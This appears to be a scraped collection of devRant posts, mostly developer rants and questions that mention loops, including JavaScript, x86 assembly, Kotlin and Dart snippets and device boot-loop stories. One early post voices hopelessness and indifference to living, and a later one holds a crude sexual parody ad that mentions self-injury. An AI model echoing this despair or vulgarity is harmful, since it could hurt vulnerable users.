They will thank you for it in the end.
———
PS. For those of you thinking “this is very judgemental and self centred”
All I can do is to try to speak your language....
Baaaahhhhh, baaahhhhh, bahhhhh
Which translates form sheep to human as...
“Eat a dick. Have a nice day” -
Im beginning to think im stuck in an infinite loop of learning. This fucking bullshit never stops. I just continuously keep learning new shit and the more shit i learn the more i realize how much bullshit i still have to learn
It creates an illusion as if i know nothing
Just when i thought i see the end of the horizon and reach it only then i realize it just keeps on going into oblivion, as a sphere
Its like im trying to catch and find a corner of a sphere
There aint none
Its pointless
Is it also pointless to keep learning like this?
Perhaps this whole existence is pointless
Real talk now whats the point of existence bro
No matter what you do or dont do it doesnt matter
No matter if you're successful or not it doesnt matter
No matter if you learn all the bullshit in the world you're still gonna die and it wont matter
No matter how much i learn, it still and will always appear as if its not enough to these shitface recruiters and companies, to them it doesnt matter
Nothing matters. Everything is empty and meaningless. The entire life itself is. I dont value life. I dont care if i live or die. I feel no joy when i succeed and i feel no sadness when i fail
The tiny little bit of joy or success cannot outweight the years of sadness depression emptiness and failure the life has dumped onto me in spite of my hard work and continuous learning
Hhhhhhhhhhhhhhhhhh20 -
There's nothing quite like an app force closing for no apparent reason, and no error log info.
Just spent an hour figuring out that one of the device I test on doesn't like linking GLSL shader programs if it contains a loop even know every other devices I've tested on are totally fine with it. 😑 -
Okay this is my first time posting on this site. I've browsed it (definitely not in class) and the community looks beautiful, so I'm going to just kind of slide in here. Anyways this is the part where I use my caps lock button and type lots of naughty words I guess...
<rant type = 'school'>
Our programming classes are fucking DISMAL uuugh... Okay so we have four technology classes: Tech Exploration, Coding 1, Coding 2, and Intro to CS (a 'high school' level class)... So this means a fuck ton of kids in programming classes, mostly because I WANNA MAKE MINCERAFT AND BE A KEWL BOI LIKE GAME DEV BUT I'M ALSO A FUCKING IDIOT AND WILL NOT LEARN ANYTHING YAAAAAAY but that's a mood and so there's a fucking tidal wave of dumb kids in these classes. So right we're dealing with like 80 kids per class period. Sorry if I'm repeating myself but there are a FUCKTON of students. Now, we have... wait for it... ONE FUCKING TEACHER. ONE. I fucking swear this district does not give a SINGLE SHIT about possibly THE SINGLE FUCKING MOST IMPORTANT SUBJECT WHYYYYYY... Okay so the teacher is kinda overworked as fuck lol. She can't really teach eighty kids at once so she mostly gives us exercises from websites but when she can she teaches us shit herself and actually knows a good bit about her field of study. She's usually pretty grumpy, understandably, but if you ask her a good question that makes her think you can see the passion there lol. So anyways that's a mood. Now at the other school it's even worse. They have this new asshole as a teacher that knows NOTHING about ANYTHING IT IS SO FUCKING REDICULOUS OH MY UUUUUGH... THEY STILL DON'T EVEN KNOW WHAT A FUCKING LOOP IS LIKE OKAY YOU'VE BEEN TEACHING PROGRAMMING FOR A YEAR AND YOU'RE THE ONLY ONE TEACHING IT AT THAT DISTRICT SO MAYBE YOU SHOULD AT LEAST FUCKING TRY WHAT IS WRONG WITH YOU... so he just makes them do shit from a website and obviously can't do half of the shit he assigns it's so fucking sad... I swear this district is supposed to be good but maybe not for the ONE THING I WANT IT TO BE GOOD FOR. Funny story: in elementary school once I wrote down school usernames for people I didn't really know and shared them a google doc that said "you have been hacked make a more secure password buddy" etc etc and made them the owner and these dull shits report it to the principal... So I'm in the principles office... Just a fucking dumb elementary school kid lol and the principal is like hAcKiNg Is BaD yOu ShOuLd NoT dO iT and I'm like how did you know it was me... so he goes on to say some bullshit about 'digital footprint' and 'tracing' me to it... he obviously has no clue what he's saying but anyways afterwards he points to where it says last change made by MY SCHOOL ACCOUNT... HOW DULL CAN YOU FUCKING POSSIBLY BE IT WAS FROM MY ACCOUNT THAT LITERALLY PROVED THAT I DID --NOT-- 'HACK' INTO THEIR ACCOUNT YOU DUMB FUCK. Okay so basically my school is a burning pile of garbage but it's better than most apparently but it's GARBAGE MY GOD... Please fucking tell me it gets better...
okay lol that was longer than I thought it would be guess I just needed to vent... later I guess
</rant>12 -
I have just learnt that you can label for statements and break them in an inside loop
Wakanda crazy crap is this?
fyi here is an example:```js
outerLoop:for(let i = 0; i<5; i++){
for(let j=0; j<5; j++){
console.log(i*j);
if(i*j === 8) { break outerLoop;}
}
}
```
Why do we even set a label with a colon, why?6 -
At what point can you say you are experienced in x language?
I am consistently looking up function definitions and ... how to... for languages I worked with for years.
I'm not talking like 'how do I loop through data from a database' but something like 'which param goes where for this function'
Curious
Friend is wondering if he is a copy/paste dev... :/6 -
How’s school going?
Well I’m in discrete mathematics and summations honestly suck, but if you put it in a for loop it’s so easy6 -
Our site has a feature where if a user changes some parameters in his profile, his plans on the site are updated in accordance with the change.
It took me a 2 weeks to implement a proper queue based updating mechanism.
My manager : "What's taking so long? Why not implement it in a recursive loop of all the users in the database?"
I could only stare with my mouth open. -
So one of my co-workers had issues with his MKP 2010, it wasn't booting up, wasn't charging, basically acting as a brick. He went everywhere around the office asking other to revive it. I was the last person - my duty was to take out the hard drive and trash it.
I asked him if I can keep it, he allowed me to do so.
After a couple of days I got back to it, installed a hard drive, which I had from my friend from a while ago.
- Played around with charger, got it charging
- Boot it up to recovery mode (I was very excited when I saw that globe spinning)
- The Wi-Fi didn't connect, used LAN
- Formatted drive, installed OS
- Got to endless loop of recovery mode
- Found out that the digits on the keyboard type lower line of letters.. :/
- Boot to safe mode - worked
- Endlessly booted to recovery mode as I tried to get to boot menu
- Realized that the left Shift, Control, and Option does not work
- Used external keyboard and got to boot menu
- Still no success with booting to regular mode
- NVRAM reset!!!!
- Booya! It works!
Should I bother and replace the keyboard? I mean it doesn't matter that much, probably will give it to my mother :)1 -
Growing list of asks to a team member that are unheeded:
1) Check in your code frequently
2) Stop the completion emails for your program
3) Stop using your personal UserID/Password to send said email
4) Create classes that do one thing
5) Reuse your database connections
6) Use DataTables and write to the database once and not a bunch of variables and write at the end of your crazy loop-if-else structures. -
I really don't get how every, single, mobile developer, position practically requires you to be a top developer on the Google PlayStore. Because if you're not you're "too junior".
It's like none of these companies understand that just because I don't already know your tech in and out and don't have 1mill+ downloads on my apps doesn't mean I can't rise to the challenge.
Been on the hunt for 2 years now, and have been put through the interview loop more than I can count with me never getting past the first round interview.4 -
I’ve abandoned the classic for loop from my tool belt for quite a long time now. The vast majority of the code is functional.
But today I’ve encountered a problem where I’m considering to use the imperative for loop again because I can’t come up with a good functional approach.
Maybe you guys have an idea.
I have a list of items and I want to make a new list which is like the original list, but it has extra items in between of some other items.
The tricky part is that there is a condition that needs to be checked for each pair of items to determine if the new item should be inserted in between. Otherwise nothing should be inserted.61 -
Of course a good, long playlist of my personal jams with a beer next to me :)
But reasons to actually get to work:
1. If it's an interesting task and everything goes according to plan, I get a positive feedback loop of motivation.
2. Deadlines.
3. Personal projects are always easier for me to begin with and stay focused on.
Personal projects are also dangerous for me because I keep going back to them until I don't have any motivation to go back to my work projects... Kinda like a double edged sword I guess -
Those who know x86 assembly and real mode, what'd I do wrong here?
mov cx,0000
.loop
mov ax,e823
mov bx,1
add cx,1
int 15 ; supposed to be undocumented CMOS raw write on my mobo if bx!=0,ax=e823
test cx,00ff
jne .loop
ret
The JNE doesn't ever trigger, so I end up always returning no matter what cx is. I'm testing if the undocumented writes actually work, and cl is supposed to be 00-FF as it's the address to write bx to in CMOS. I'm running in real mode, if it matters.8 -
*looks drowsy* Ugh my head..
You know what, guys? If you can freshly and directly remember how to do this:
- calculate the time complexity for each type of loop and code structure
- knowing how to write the following regex:
"A 15-digit number starting with a possibility of a group of 1-2 digit numbers, segregated into three 5-digit numbers tuples with three different separator characters, evaluated ahead"
- mentally work out how to reverse an array's indexes (swapping algorithm) without writing anything down
- know how to optimize a binary search in your head
then kudos to you. lmao
I'm rusty. It took me a while..7 -
jinja templates make me look towards html in a whole new light. are we 'inserting' data to an already rendered page? am i really mixing server code with ui ? It doesn't feel so. there are if else and loops being executed for html code, like wtf?
I don't know but everything feels so good. like i was literally hating every piece of website i was writing in php. everytime i wrote <div>....</div> followed by <?php ... ?> followed by another html tag /php tag in a fuckin php file, i wanted to kill someone from w3c.
WHY THE FUCK ARE WE ALLOWING THE MIXUP ?WHY IS PHP FILE HOLDING HTM TAGS? WHY?WHY?WHY?
But this... this is beauty. their is separation of concerns. jinja has some big powers, we can loop, repeat, make clauses, inherit other html classes, load html content into blocks, set variables,
but main concepts like file handling, response/request handling,calculations,etc are all being done in separate python files. I know that these jinja templates also might be running python in background, but atleast a developer cannot fuck up that code.
we can be sure that if correct jinja codes are written in html, then it would load correctly. And wherever devs doesn't fuck up, the output is better to understand and more maintainable/scaleable3 -
The time I implemented a variable timer in my game on NodeJS. I noticed it would not always run at 60 fps depending on the machine. I implemented a check to see if the fps is above or below 60. If the fps was above I added more time between each run, if it was lower I shortened the time(to a limit). Sure it is a bit hacky but it worked well. As an added bonus the check runs every loop so even if another program is started and slows down the machine, the game can speed back up to 60 fps.3
-
This is the sequel to my previous rant, if you don't know about it, go check my profile.
So, for some reason, when I opened YouTube Vanced, I am trapped into a loop of loading animation. And I thought "Hmm... Maybe my Internet sucks, let's try again.".
Then I switched my Internet on and off, go back to YouTube Vanced, the same loading animation loop.
Then I do switching the Internet for about 30 minutes, go back to YouTube Vanced, no progression.
Then I thought "What about YouTube?", I open Youtube, and you know what, YouTube loads it PERFECTLY. The loading animation takes longer than usual, but at the end, it still loads my recommendation and anything!
I thought "Wait, do they have an update?", then I go to Vanced Manager, and no, there is no new update for both Vanced and Vanced microG. There is a new update for Vanced Manager, though.
I decided to report a bug, but then I realized that the problem I am facing is too ambiguous for the developer to fix, so I decided not to do it.
So yeah, now I am sticking with YouTube, since I cannot find a solution better than it, and if you ask me, YouTube Vanced is still trapped in the loading animation loop.3 -
I came across a website today when I was searching for some banking related stuff on Google and this is what happened...
Types search term in Google
Gets the results
Opens a result in a new tab
Finishes reading it and clicks back
Tab refreshes to go the website's home page (What!?)
Clicks back again
Refreshes to the same result page (seriously?)
Back
Home page
Back
Result
Back
.
.
.
.
Back
Google home page (wtf?)
Back
Website home page (again?)
Back
Result page (NO! I'M DONE)
Closes the tab
What sort of wicked loop did I get myself into? Did the website devs ever think how frustrated it will be if they ever open their own page?
And what a clever technique to open Google home page for people who keep on pressing the back button! 👏👏 /s1 -
Any SUPER AWESOME patient... JS PRO that wants to help me with a few problems it would be appreciated..
Okay so I'm having trouble with JavaScript and this can apply to other languages but for now focus on JS. so I'm learning how to manipulate the DOM and I don't really know how to start I picked out a tutorial but I'm afraid I wont learn a lot from it. here are my concerns and yes they don't all have to do with the DOM
> I don't know how to learn without mimicking what the person is doing and when I try something that's related I cant use the related information and techniques because I either don't remember, dont want to do the literal same thing for something slightly different or dont know how and somethings not working even though it should be.
> I do it one way and when people offer to help its just me getting responses of how it could be done completely different and I dont understand why either way should be used
> Why should I have to generate a webpage or div if I can just use HTML5
>whats the difference between JSON and Arrays???????????
>I am not good with arrays, lists, dictionaries, (I'm stretching to python with lists and dictionaries)
>I recently tried the basic quiz project and it was more complicated and fun than I was giving credit for but I want to do it a different way to show myself I learned but I cant because I dont understand how the person managed to loop through the entire array printing the individual questions and answers to the div. like I understand the parts that use the html tags in the code but I dont know how when or what to use it all
>any good javascript/dom resources?
At this point Im just stressing because all I want is a basic skillset with JS but I dont feel like Im learning anything and I dont know how to apply my knowledge or improve upon the programs ive been learning from or trying to make. and arrays have been tripping me up to especially since I have no clue what the difference is between them and JSON and why I should use one over the other and dont get me started how shit I am with manipulating them. FUCK IM STUPID10 -
Rubber ducking your ass in a way, I figure things out as I rant and have to explain my reasoning or lack thereof every other sentence.
So lettuce harvest some more: I did not finish the linker as I initially planned, because I found a dumber way to solve the problem. I'm storing programs as bytecode chunks broken up into segment trees, and this is how we get namespaces, as each segment and value is labeled -- you can very well think of it as a file structure.
Each file proper, that is, every path you pass to the compiler, has it's own segment tree that results from breaking down the code within. We call this a clan, because it's a family of data, structures and procedures. It's a bit stupid not to call it "class", but that would imply each file can have only one class, which is generally good style but still technically not the case, hence the deliberate use of another word.
Anyway, because every clan is already represented as a tree, we can easily have two or more coexist by just parenting them as-is to a common root, enabling the fetching of symbols from one clan to another. We then perform a cannonical walk of the unified tree, push instructions to an assembly queue, and flatten the segmented memory into a single pool onto which we write the assembler's output.
I didn't think this would work, but it does. So how?
The assembly queue uses a highly sophisticated crackhead abstraction of the CVYC clan, or said plainly, clairvoyant code of the "fucked if I thought this would be simple" family. Fundamentally, every element in the queue is -- recursively -- either a fixed value or a function pointer plus arguments. So every instruction takes the form (ins (arg[0],arg[N])) where the instruction and the arguments may themselves be either fixed or indirect fetches that must be solved but in the ~ F U T U R E ~
Thusly, the assembler must be made aware of the fact that it's wearing sunglasses indoors and high on cocaine, so that these pointers -- and the accompanying arguments -- can be solved. However, your hemorroids are great, and sitting may be painful for long, hard times to come, because to even try and do this kind of John Connor solving pinky promises that loop on themselves is slowly reducing my sanity.
But minor time travel paradoxes aside, this allows for all existing symbols to be fetched at the time of assembly no matter where exactly in memory they reside; even if the namespace is mutated, and so the symbol duplicated, we can still modify the original symbol at the time of duplication to re-route fetchers to it's new location. And so the madness begins.
Effectively, our code can see the future, and it is not pleased with your test results. But enough about you being a disappointment to an equally misconstructed institution -- we are vermin of science, now stand still while I smack you with this Bible.
But seriously now, what I'm trying to say is that linking is not required as a separate step as a result of all this unintelligible fuckery; all the information required to access a file is the segment tree itself, so linking is appending trees to a new root, and a tree written to disk is essentially a linkable object file.
Mission accomplished... ? Perhaps.
This very much closes the chapter on *virtual* programs, that is, anything running on the VM. We're still lacking translation to native code, and that's an entirely different topic. Luckily, the language is pretty fucking close to assembler, so the translation may actually not be all that complicated.
But that is a story for another day, kids.
And now, a word from our sponsor:
<ad> Whoa, hold on there, crystal ball. It's clear to any tzaddiq that only prophets can prophecise, but if you are but a lowly goblinoid emperor of rectal pleasure, the simple truths can become very hard to grasp. How can one manage non-intertwining affairs in their professional and private lives while ALSO compulsively juggling nuts?
Enter: Testament, the gapp that will take your gonad-swallowing virtue to the next level. Ever felt like sucking on a hairy ballsack during office hours? We got you covered. With our state of the art cognitive implants, tracking devices and macumbeiras, you will be able to RIP your way into ultimate scrotolingual pleasure in no time!
Utilizing a highly elaborated process that combines illegal substances with the most forbidden schools of blood magic, we are able to [EXTREMELY CENSORED HERETICAL CONTENT] inside of your MATER with pinpoint accuracy! You shall be reformed in a parallel plane of existence, void of all that was your very being, just to suck on nads!
Just insert the ritual blade into your own testicles and let the spectral dance begin. Try Testament TODAY and use my promo code FIRSTBORNSFIRSTNUT for 20% OFF in your purchase of eternal damnation. Big ups to Testament for sponsoring DEEZ rant.3 -
mann... either i am dumb or my team is a bunch of excited monkeys.
for last 6 months my senior and this contract dev (both in Android) have been fussing about adding coroutine flows in our codebase: how our codebase "needs" it and how flows will help our codebase become "better"
when i asked them why, they gave me even more shit about hot flows cold flows, state flows, and how ots the latest "solution" from google.
So today, while going through another existential crises in my free time, i decided to understand what these "flows" are.
and from what i understand, it is mainly for cases in which there os actively changing data and we want to get latest updates without any event or trigger, like those streaming datas , chat messages, location etc.
but we are a freaking insurance app! user presses a button and we make an api call! what is the fucking problem here that isn't being solved by good old livedata and coroutines? There isn't any "live" api in app as far as i know and even if there is the code should be modified for 1 such api.
why fuck the whole codebase for a usecase that isn't applicable for 99% of APIs?
also, if a flow is going to auto trigger and call api, how are we supposed to control it? like say there is a offers api(there isn't) which gives us the latest offer products to show user for 5 seconds then refresh. for this i will simply returrn
flow{
while(true){
emit (offer api results)
delay(5000)
}
}
but this is an infinite polling api! how to stop it when say user pressed a cross button or did some other interaction?
it seems useless as fuck.. i can achieve a more controllable polling using the same while loop in different location or some other solution that won't require me adding this wierd api5 -
[CONCEITED RANT]
I'm frustrated than I'm better tha 99% programmers I ever worked with.
Yes, it might sound so conceited.
I Work mainly with C#/.NET Ecosystem as fullstack dev (so also sql, backend, frontend etc), but I'm also forced to use that abhorrent horror that is js and angular.
I write readable code, I write easy code that works and rarely, RARELY causes any problem, The only fancy stuff I do is using new language features that come up with new C# versions, that in latest version were mostly syntactic sugar to make code shorter/more readable/easier.
People I have ever worked with (lot of) mostly try to overdo, overengineer, overcomplicate code, subdivide into methods when not needed fragmenting code and putting tons of variables.
People only needed me to explain my code when the codebase was huge (200K+ lines mostly written by me) of big so they don't have to spend hours to understand what's going on, or, if the customer requested a new technology to explain such new technology so they don't have to study it (which is perfectly understandable). (for example it happened that I was forced to use Devexpress package because they wanted to port a huge application from .NET 4.5 to .NET 8 and rewriting the whole devexpress logic had a HUGE impact on costs so I explained thoroughly and supported during developement because they didn't knew devexpress).
I don't write genius code or clevel tricks and patterns. My code works, doesn't create memory leaks or slowness and mostly works when doing unit tests at first run. Of course I also put bugs and everything, but that's part of the process.
THe point is that other people makes unreadable code, and when they pass code around you hear rising chaos, people cursing "WTF this even means, why he put that here, what the heck this is even supposed to do", you got the drill. And this happens when I read everyone code too.
But it doesn't happens the opposite. My code is often readable because I do code triple backflips only on personal projects because I don't have to explain anyone and I can learn new things and new coding styles.
Instead, people want to impress at work, and this results in unintelligible, chaotic code, full of bugs and that people can't read. They want to mix in the coolest technologies because they feel their virtual penis growing to showoff that they are latest bleeding edge technology experts and all.
They want to experiment on business code at the expense of all the other poor devils who will have to manage it.
Heck, I even worked with a few Microsoft MVPs.
Those are deadly. They're superfast code throughput people that combine lot of stuff.
THen they leave at you the problems once they leave.
This MVP guy on a big project for paperworks digital acquisiton for a big company did this huge project I got called to work in, which consited in a backend and a frontend web portal, and pushed at all costs to put in the middle another CDN web project and another Identity Server project to both do Caching with the cdn "to make it faster" and identity server for SSO (Single sign on).
We had to deal with gruesome work to deal with browser poor caching management and when he left, the SSO server started to loop after authentication at random intervals and I had to solve that stuff he put in with days of debugging that nasty stuff he did.
People definitely can't code, except me.
They have this "first of the class syndrome" which goes to the extent that their skill allows them to and try to do code backflips when they can't even do code pushups, to put them in a physical exercise parallelism.
And most people is like this. They will deny and won't admit, they believe they're good at it, but in reality they aren't.
There is some genius out there that does revoluitionary code and maybe needs to do horrible code to do amazing stuff, and that's ok. And there is also few people like me, with which you can work and produce great stuff.
I found one colleague like this and we had a $800.000 (yes, 800k) project in .NET Technology, which consisted in the renewal of 56 webservices and 3 web portals and 2 Winforms applications for our country main railway transport system. We worked in 2 on it, with a PM from the railway company.
It was estimated 14 months of work and we took 11 and all was working wonders. We had ton of fun doing it because also their PM was a cool guy and we did an awesome project and codebase was a jewel. The difficult thing you couldn't grasp if you read the code is if you don't know how railway systems work and that's the only difficult thing.
Sight, there people is macking me sick of this job11 -
Has anyone used YouTube iFrame API?
I do ask first here before going on SO.
I am trying to play a YouTube video in sync from 2 different computers.
Luckily YouTube iFrameAPI has an event called `onStateChange` that is fired every time a video is paused, played, stopped etc.
This is the scenario...
1. Host creates a session and sends the link to guest.
2. Guest connects with the host.
3. Host plays/pauses/goes to specific time in the vide the video. The video is synced on guest session.
Now I have to figure out how to sync when Guest does an action. The thing is, every time an event is triggered in Host, it sends the command to Guest. The guest obeys BUT THEN the event `onStateChange` is triggered on guest and sends the command to Host. It is an infinite loop that I cannot seem to figure out if the onStateChange is triggered from API or from User interaction.
What I have tried so far...
1. Global variables. No luck.
2. Disable the event handler when the guest is gets data from host and after it finishes syncing, activate the event handler. But the handler still triggers.
3. Timeframe. (an ugly one) . Checks when the last time that event was triggered. If it was less than 1.5 seconds (or other second), it does not send the commands to host.6 -
Le Angular programmer
Me: I need to add all these fields across this 30 page (seriously) questionnaire to the dataLayer for Google Analytics...I'll see if I can loop over all the controls and get the native element so that I can do things with it.
Also me: WTF do you mean I don't have access to the native element? Damn it! What does Google say?
**terrible french accent**
A few moments later
**end terrible french accent**
Me: I don't want to have to create a directive to put on every single one of these fields. That's dumb. Not gonna do it...bad vanilla JavaScript?
**terrible french accent**
Several minutes later
**end terrible french accent**
Me: Wait...if we use this directive then the directive can handle all the things AND we can use it outside of this questionnaire. The rest of the app can send this data so that Google Analytics can know all the things
Man Google..You sure do know what I want before I know what I want...Are you spying on me too?1 -
I almost managed to build a ReactJS based CMS, but I still need to check online if my for loop will actually display four elements.
-
Legacy code in java :
boolean recursiveMethod(args){
Int i= 0;
Boolean doublon = false;
For(--whatever the loop--){
If(condition1 && condition2){
If(i++ > 0){
doublon=true;
Return doublon;
}
}
}
[...]
}5 -
So I've been using Duet on my iPad Pro for a couple years now (lets me use it as an external monitor via Lightning cable) and without issue. Shit, I've been quite happy with it. Then the other day, whilst hooked up to my work laptop, there was a power fluctuation that caused my laptop to stop sending power to connected devices. Which is fine - I have it plugged into a surge protector so these fluctuations shouldn't matter. After a few seconds the laptop resumed normal operation and my connected devices were up and running again.
But the iPad Pro, for some reason, went into an infinite boot loop sequence. It reboots, gets to the white Apple logo, then reboots again.
In the end, after putting the iPad into recovery mode and running Apple's update in iTunes (as they recommend), it proceeds to wipe all my data. Without warning. I lost more than a couple of years of notes, illustrations and photos. All in one fucking swoop.
To be clear, you get 2 options in iTunes when performing a device update:
1. UPDATE - will not mess with your data, will just update the OS (in this case iPadOS)
2. RESTORE - will delete everything, basically a factory reset
I clicked UPDATE. After the first attempt, it still kept bootlooping. So I did it again, I made sure I clicked UPDATE because I had not yet backed up my data. It then proceeds to do a RESTORE even though I clicked UPDATE.
Why, Apple? WHY.
After a solemn weekend lamenting my lost data, I've come a conclusion: fuck you Apple for designing very shitty software. I mean, why can't I access my device data over a cabled connection in the event I can't boot into the OS? If you need some form of authentication to keep out thieves, surely the mutltiple times you ask me to log in with my Apple ID on iTunes upon connecting the damn thing is more than sufficient?! You keep spouting that you have a secure boot chain and shit, surely it can verify a legitimate user using authenticated hardware without having to boot into the device OS?
And on the subject of backing up my data, you really only have 2 manual options here. Either (a) open iTunes, select your device, select the installed app, then selectively download the files onto my system; or (b) do a full device backup. Neither of those procedures is time-efficient nor straightforward. And if you want to do option b wirelessly, it can only be on iCloud. Which is bullshit. And you can't even access the files in the device backup - you can only get to them by restoring to your device. Even MORE bullshit.
Conversely, on my Android phone I can automate backups of individual apps, directories or files to my cloud provider of choice, or even to an external microSD card. I can schedule when the backups happen. I can access my files ANYTIME.
I got the iPad Pro because I wanted the best drawing experience, and Apple Pencil at the time was really the best you could get. But I see now it's not worth compromise of having shitty software. I mean, It's already 2021 but these dated piles of excrement that are iOS and iPadOS still act like it's 2011; they need to be seriously reviewed and re-engineered, because eventually they're going to end up as nothing but all UI fluff to hide these extremely glaring problems.2 -
If anyone is good with dart (or) other single threaded programming languages, i have this small doubt about the inner workings of the event loop and such and i would like an explanation if possible.
If you're too lazy to goto the link:
1. I have a future returned from a http request.
2. a future.then is declared that prints the http result.
3. A separate while(true) loop is declared that runs forever that just prints natural numbers.
4. the while loop also has an await future.delay that waits for 1ms before continuing with the next iteration
My question :
1. There's only one thread so how does the http download code run WHILE my main loop is still executing.
2. my future.then event is not processed unless i await a future.delay separately for 1ms. returning control to the event loop ? i don't get it how does adding an event help it process a prior event? It's FIFO ?
gist :https://gist.github.com/TheAnimatri...
discussion:
https://groups.google.com/a/...5 -
ah yes just another day of fighting the same perceived non functioning of pytorch.. tracing through the tensors per layer to see if anything is changing at all.. listenig to the same dipshit talking about how its getting cold out there but hey it feels good.
sitting in the same place, half sleep deprived in a state of utter destitution waiting for the same dirty fucks to steal all my things because they want to keep me quiet about what they've been doing for as far back as I can now remember wondering when life will continue because lets face it, life should continue, and these people willfully fucking up my country now for nigh a century isn't my goddamn fault !
but hey, they think they got away with murder, and its more like suicide as they get used up when young and then reach older age and they're still walking the same loop and i'm being dragged along with them as they started assigning more zombies to my home area gradually who also brainlessly walk around doing the same things thinking it somehow benefits them.10 -
When C output questions to an Interview seem like an infinite loop,
But end up simply getting solved on the nth iteration.
And you feel like, if this was in python, this load of crap won't be torturing you! -
Okay I usually like Swift, but why did they have to make parsing JSON such a pain in the ass?? You have to loop through every child collection and should give up the type that it should be. Obviously you could work around this by writing some sort of wrapper but if I want to do a simple request to an API it results it so much unnecessary code.1
-
What is the efficient way of querying database and fetch paginated posts AND also checking if the user viewing that post has liked it?
Just like on instagram or twitter, you can just like/unlike post.
Entities:
- user
- post
- user_post_like
Ive implemented fetching posts for 1 user profile and also liking unliking each post. Thats fine
But now how do i know which post has been liked by which user?
One way i can think of is:
1. Query paginated posts (e.g. 10)
2. Loop through each post and query in user_post_like table to check if this post has been liked and if it is then set flag liked to true. That way on the frontend i can easily set liked or unliked post via ui
But this means I'd have to query database 10 times all the time, aside from querying 10 paginated posts. This doesnt seem efficient... Or am i wrong? Is this normal?
How would you model this?7 -
Well, I'm done.
This amount of arrogance is unbelieveable.
I'd rather find a warm and friendly atmosphere.
But honestly, what are all these F bombs about?
Did I insult you? I said I was stuck in a Loop challenge in Js. Did this offend you?
If so, I'm sorry.11 -
To most non-dev people, being hit with error after error when fixing one small problem out of a much bigger collection of problems would probably be infuriating.
To me, it's a huge loop of:
for(var failsAtLine = 1; failsAtLine < lines.length; failsAtLine++;) {
changeSomething();
runTest();
readErrors();
cry();
comtemplateMeaningOfLife();
}
openChampagne();
Would help if deployer.org had better documentation and bigger support community. -
Ive gotten pretty good at web dev that most projects seem easy so i just tell myself i could probably finish the whole thing over next weekend if i spent the entire day coding.
I end up procrastinating my way till last minute, sometimes screw over deadlines, i just cant get myself to want to work on it. and i keep accepting projects for the money and throw myself in this guilt tripping loop every time.
what can i do to get myself to work on freelancing? (in my actual full time job im very productive coz mostly the project i work on is my passion but freelance is just too much of a drag!)9 -
So it's been a long semester and I was writing my final project earlier today. I wrote a for loop which removed objects from the list it was iterating through. And my linter let me. Why do I even use you, pylint? I could have saved hours of debugging if you gave me a message that I was doing a stupid thing5
-
I wonder if anyone else realizes how stupid it is to loop years around for fear of arbitrary artifical consequences designed to just keep people as land bound surfs.
seriously.
everyone travels
everyone fucks
or wants to.
and people fall down sometimes
doesn't mean you have to invent a system that drags them back through years of history to get that 60k job all over again !!!
also next year means take the calendar year and add one assholes !8 -
I know unit tests and TDD get a bad wrap but I think they’re both great. The problem is people don’t think about what they’re actually coding.
Today I uncovered a unit test with 100 asserts in it.
And half of them are in a loop.
😳
If unit tests weren’t a thing then the dev who wrote this would still be a shit dev.4 -
Symfony 4:
I created a firewall with a user provider and everything was great for a year and a half.
I needed a second firewall with a different user provider for my REST API.
Being stateless, the rest api firewall didn't need the refreshUser method so I didn't bother doing anything inside but returning user (without noticing how my original class was built or the official documentation which apparently says I need to throw an exception if this isn't the right user provider for the user in the session).
I was having a problem with my main firewall after that point because I assumed it would only use the relevant user provider, but even though my API firewall only applied to a specific host/pattern, the user provider for that firewall was still being used. If it had run the supports method first, it wouldn't have done that even with my initial mistake. Frankly, I don't know why there is a supports method if it's not being utilized for this purpose...I saw supports() is used for the rememberme functionality, but seems inconsistent not to use it everywhere.
Not only should Symfony be updated to check the supports() method, but I also think it should only loop through user providers for the current applicable firewalls. Since we define a user provider per firewall, I think that would be the natural way for it to work. Otherwise why even define a user provider on the firewall if it's just going to try to use them all anyway?
Furthermore, in the case of a stateless firewall, requiring the refreshUser method via the interface seems strange. -
First and foremost, it's essential to figure out which IRS office is closest to your location. That, in itself, can be a daunting task, especially if you're not familiar with the area. Using the IRS's online office locator is a helpful start, but sometimes, even that leaves you with more questions than answers.
Then comes the joy of trying to get in touch with someone who can provide the specific information or assistance you need. Long hold times, automated systems, and a seemingly endless stream of recorded messages can leave you feeling like you're caught in an endless loop.
And let's not forget the paperwork. Different IRS offices often have different procedures, so finding the right forms and knowing how to fill them out correctly can be a headache.
In the end, it feels like a journey filled with frustration and uncertainty. But, here's a tip from someone who's been there: persistence pays off. Keep trying, be patient, and, if possible, reach out to others who've had similar experiences. Sometimes, a bit of collective wisdom can make this daunting process a little more manageable.3 -
Just getting on the loop with all this drama with Tren Black, TechLead and JomaTech after TheQuartering made a video about it. I just unsubscribed from TechLead YouTube channel because I think that move of deleting bad reviews of your products or issuing Copyright strikes at YT video that criticize them is a really shitty move.
On the other hand, I asked here wherever I should start doing content on YouTube related to software development in English or Spanish and after seeing all that drama it made me wonder if eventually my name would get drag into some of that jaja, oh boy...2 -
//not a rant
Ok so weird bug. Fellow C# people, help me out.
//already made it work so no I don't need to post it on SO
I write a Switch Case block based on the user's combo-box selection id.
if id 0, add everything to the mainpage grid
if 1, a foreach loop filtering out the ones with a certain attribute of the object as false and adding em to the grid on the mainpage
if 2, similar scenario as 1.
Countless times I had a null exception with the "count" variable being the number of items in the post which, wasn't null. there was no other variable that was being initialized from within the block, so I had no idea what was causing it.
Moving to an if-else statement doing the same thing, same issue.
In the end I created 2 empty lists before the switch case and filled them up and then another loop filling the mainpage grid with the now-filled list.
In the end im doing the same thing, with no issues, but I don't understand why adding it directly caused an error, what was null?
I wanna understand the working that might be causing this.. if anyone else came across this, would be glad to hear from you8 -
On Friday I talked about a program that I copied and pasted into my own, and when I was testing it, it didn't work like the original.
If I kept it as the original, it wouldn't even move. If I tried to change it (taking the queries out of the loop. I know I know, I didn't make the original), it would give me a dump saying I was out of space.
So, my solution: delete some records as I go.
Can't wait to see the problems I'm about to have with this 🙃 -
Just some figma improvements from the perspective of a new customer:
* Copy/paste is broken. If I want to make a change, I have to create a whole new
component. They recommend cmd+c/v for copypaste but as far as I can see it does nothing
* Needs to be an explicit component drawer button instead of hiding it under assets. Through me for a loop for a couple minutes.
* Empty textboxes shouldn't vanish because you happened to click in the wrong location
while setting your properties.
* Text should start big enough to actually see.
* "send to back/front", "hide item", "change transparency' all need to be prototype actions and more, give us access to object properties both by parent/sibling/child, and by
object id
* create a new frame based on a specified size is non-obvious and if you're creating
a lot of frames, what with copypaste being non-intuitive, it can become laborious.
This is especially so when you're copying frames in order to make minor changes and observe the differences side by side, instead of potentially destructive edits.
* I see no obvious way to manage transitions/animations between frames.
* The difference between frames and groups isn't sufficiently explained. The words
frame, groups, and layers all appear to new users to be used interchangeably, even
if they are distinct things.2 -
